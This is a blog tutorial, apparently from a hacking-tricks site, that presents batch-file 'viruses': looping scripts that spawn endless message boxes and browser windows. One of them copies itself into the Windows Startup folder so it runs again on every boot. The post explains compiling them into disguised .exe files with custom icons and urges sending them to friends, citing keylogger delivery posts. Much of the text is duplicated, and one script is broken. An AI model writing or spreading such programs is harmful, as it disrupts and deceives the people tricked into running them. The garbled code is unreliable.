Batch File Programming Tutorial 4 | Some more advanced batch commands and viruses
This tutorial is continuation to my Batch File Programming series.
In this post we will discuss about Looping in batch files and how to use them to create horrible viruses!!
I will also discuss about how to change icon and convert .bat file to.exe file.
I will also discuss about how to change icon and convert .bat file to.exe file.
Steps :-
1) Open notepad and copy paste any of the following codes.
1) Open notepad and copy paste any of the following codes.
<<<<<<<<<<<<<< Code -01 >>>>>>>>>>>>>>>>
@echo off
:loop
msg * write your text here
goto loop
<<<<<<<<<<<<<< Code ends >>>>>>>>>>>>>>>
@echo off
:loop
msg * write your text here
goto loop
<<<<<<<<<<<<<< Code ends >>>>>>>>>>>>>>>
<<<<<<<<<<<<<< Code -02 >>>>>>>>>>>>>>>>
@echo off
:loop
start iexplore.exe www.anywebsite.com
goto loop
<<<<<<<<<<<<<< Code Ends >>>>>>>>>>>>>>>
@echo off
:loop
start iexplore.exe www.anywebsite.com
goto loop
<<<<<<<<<<<<<< Code Ends >>>>>>>>>>>>>>>
<<<<<<<<<<<<<< Code -03 >>>>>>>>>>>>>>>>
@echo off
:loop
msg * Enter your text here
start iexplore.exe www.anywebsite.com
goto loop
<<<<<<<<<<<<< Code Ends >>>>>>>>>>>>>>>>
@echo off
:loop
msg * Enter your text here
start iexplore.exe www.anywebsite.com
goto loop
<<<<<<<<<<<<< Code Ends >>>>>>>>>>>>>>>>
<<<<<<<<<<<<<Code -04>>>>>>>>>>>>>>>>>>
@echo off
xcopy “virusname.exe” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y
msg * Enter your text here
start iexplore.exe www.anywebsite.com
goto loop
<<<<<<<<<<<<<Code ends>>>>>>>>>>>>>>>>>>
@echo off
xcopy “virusname.exe” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y
msg * Enter your text here
start iexplore.exe www.anywebsite.com
goto loop
<<<<<<<<<<<<<Code ends>>>>>>>>>>>>>>>>>>
2) Save the File as Anyname.bat , .bat extension is compulsory.
3) Download Batch to exe converter :-
http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html
4) Open Batch to exe converter.
5) Browse Your batch file.
6) You can choose the icon of the output file by :-
6.1) Go to versioninformations
6.2) Click on “….” button, that is the browse button and browse to your icon file.
7) After that click on compile.
Now your .exe virus is ready, now send it your friends have Fun .
3) Download Batch to exe converter :-
http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html
4) Open Batch to exe converter.
5) Browse Your batch file.
6) You can choose the icon of the output file by :-
6.1) Go to versioninformations
6.2) Click on “….” button, that is the browse button and browse to your icon file.
7) After that click on compile.
Now your .exe virus is ready, now send it your friends have Fun .
For sending methods ,Refer these posts :-
Instead of keylogger.exe, use virusname.exe at all places in above tutorial.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Logic !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
__________________
:loop
any batch command
goto loop
__________________
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Logic !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
__________________
:loop
any batch command
goto loop
__________________
^ This syntax is called looping . Any command placed in place of “”any batch command“” will be executed infinite Times.
About codes:-
Code -01 : This code will execute infinite message boxes saying:
write your text here
About codes:-
Code -01 : This code will execute infinite message boxes saying:
write your text here
Code-02 : This code will open a website www.anywebsite.com infinite times in internet explorer.
Code -03 : This code will open both message and website, but execution order will be like this – first message box then web page then again message box and then again webpage, this will continue until system is restarted.
Code-04 : It is quite deadly as it will execute same as code-03 but will continue to execute even after system is restarted. Be careful while using this. The important thing you had to do is that you had to change virusname.exewith the name you are going to set to the final file.
About Commands:
msg * write your text here
This command displays a text box containing the text which is specified after msg * .Replace the write your text here with whatever you want to appear in msg box.
About Commands:
msg * write your text here
This command displays a text box containing the text which is specified after msg * .Replace the write your text here with whatever you want to appear in msg box.
start iexplore.exe www.anywebsite.com
^ This command will open www.anywebsite.com in internet explorer.You can change www.anywebsite.com with what ever website you want to open after execution of the virus.
^ This command will open www.anywebsite.com in internet explorer.You can change www.anywebsite.com with what ever website you want to open after execution of the virus.
xcopy:- This command copies the file specified with double quotes “virusname.exe” to the location specified (in this case startup) with double quotes “C:Documents and SettingsAll UsersStart MenuProgramsStartup” . Make sure the final file should have a name “virusname.exe” .
Startup : this folder contans files to be open when ever your computer boot ups.
if you want any file to open whenever your computer opens, just place that file in this folder and this will automatically open that file on every boot.
if you want any file to open whenever your computer opens, just place that file in this folder and this will automatically open that file on every boot.
y :- This parameter asks the command prompt to overwrite the file
hacking trips and tricks tries to provide the best quality posts explained in the easiest way possible, still if you have any queries please post you queries and feedback in the comments .
NOTE:-This tutorial is for educational purposes only,Use at your own risk.
Comments
Post a Comment